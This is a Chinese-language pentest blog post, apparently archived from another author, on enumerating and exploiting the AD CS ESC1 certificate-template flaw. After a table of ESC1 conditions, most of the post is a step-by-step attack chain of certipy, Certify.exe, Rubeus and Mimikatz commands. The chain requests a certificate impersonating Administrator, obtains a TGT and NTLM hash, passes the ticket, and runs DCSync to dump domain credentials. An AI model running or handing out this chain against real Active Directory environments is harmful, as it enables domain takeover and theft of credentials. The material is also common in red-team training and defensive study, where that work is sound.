文章总结: 本文分析了ADCS-ESC1漏洞机制,指出该漏洞允许低权限用户通过证书模板指定不同主体备用名称(SAN)来冒充高权限账户。文档详细列出了ESC1的5个判定条件,并分别提供了Linux和Windows平台下的枚举工具(certipy/Certify)和利用方法,包括证书申请、认证、票据获取以及最终的DCSync攻击流程。 综合评分: 85 文章分类: 漏洞分析,渗透测试,内网渗透,红队,安全工具
ADCS-ESC1枚举和利用
原创
Jzhoucdc Jzhoucdc
攻防之路JZhoucdc
2026年6月11日 15:34 上海
在小说阅读器读本章
去阅读
总结一下关于ESC1的学习。
ESC1证书模板允许在证书请求中指定与请求者不同的主体备用名称(SAN)。这意味着低权限用户可以请求一张证书,并在 SAN 字段中填入高权限账户(如 Administrator)。
Linux枚举和攻击:
枚举:
certipy find -u '[email protected]' -p 'Password123!' -dc-ip 10.129.17.224 -vulnerable -stdout
ESC1 漏洞的 5 个判定条件: | 条件 | 值 | 含义 | | — | — | — | | Enrollment Rights | LAB.LOCAL\Domain Users | 域用户都有注册权限,低权限账户也能申请证书 | | Requires Manager Approval | False | 不需要管理员审批,证书自动颁发 | | Authorized Signature Required | 0 | 不需要授权签名 | | Client Authentication | True 或 EKU 为 Client Authentication | 证书可用于客户端身份验证 | | Enrollee Supplies Subject | True | 申请者可以自己指定主题(包括 SAN 字段) |
利用:
1. 申请证书
使用 certipy 请求证书,具体操作是使用 req 选项请求证书,并使用 -upn选项指定要包含的替代主体(此处为 Administrator):
certipy req -u '[email protected]' -p 'Password123!' -dc-ip 10.129.17.224 -ca lab-LAB-DC-CA -template ESC1 -upn Administrator
2.证书认证
使用PFX 文件来向域服务进行身份验证。这样系统会根据证书中的身份信息为你签发会话或票据。
certipy auth -pfx ./administrator_dc1.pfx -username administrator -domain lab.local -dc-ip 10.129.17.224
3.登录利用
要进行身份验证,我们可以使用保存在 administrator.ccache 中的 TGT。或者 Administrator 账户的 NTLM哈希。
3.1 使用NTLM哈希连接DC
3.2使用TGT连接DC:
Windows平台枚举和攻击:
枚举:
Windows 系统上使用 Certify.exe 工具可以检测 AD CS(Active Directory Certificate Services)的漏洞。与 Python 版本(如 certipy)不同,Windows 版无需手动输入凭证,因为它会自动从当前运行会话中获取凭证。
Certify.exe find /vulnerable
攻击:
要滥用此证书,需在请求中包含替代 SAN(Subject Alternative Name),并使用以下参数:
request:请求证书/ca:<CA NAME>:指定 ADCS 服务器/template:<Template Name>:设置要滥用的证书模板/altname:<Account to Impersonate>:指定要冒充的账户(即替代主题)
Certify.exe request /ca:LAB-DC.lab.local\lab-LAB-DC-CA /template:ESC1 /altname:[email protected]
证书已经申请到了,现在用 OpenSSL 把它打包成 .pfx,方便后续用证书登录提权。
用生成的证书,通过 Rubeus 去认证请求一个Administrator身份的TGT票据:
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap
成功根据证书获取 NTLM 哈希和base64 ticket,现在有2个路径,用NTLM哈希或者是base64 票据进行后续的利用。
DCSync 攻击
使用 Rubeus 工具创建一个牺牲登录会话(Sacrificial Logon Session),以便后续执行 Pass the Ticket传递票据:
Rubeus.exe createnetonly /program:powershell.exe /show
然后在生成的新powershell终端进行传递票据攻击
Rubeus.exe ptt /ticket:doIGQjCCB....
现在powershell进程有了Administrator的TGT,意味着我们有了管理员的权限。然后使用Mimikatz 执行 DCSync 攻击。
Set-ExecutionPolicy Bypass -Scope CurrentUser -ForceImport-Module .\Invoke-Mimikatz.ps1Invoke-Mimikatz -Command '"lsadump::dcsync /user:lab\Administrator"'
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:攻防之路JZhoucdc Jzhoucdc Jzhoucdc《ADCS-ESC1枚举和利用》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论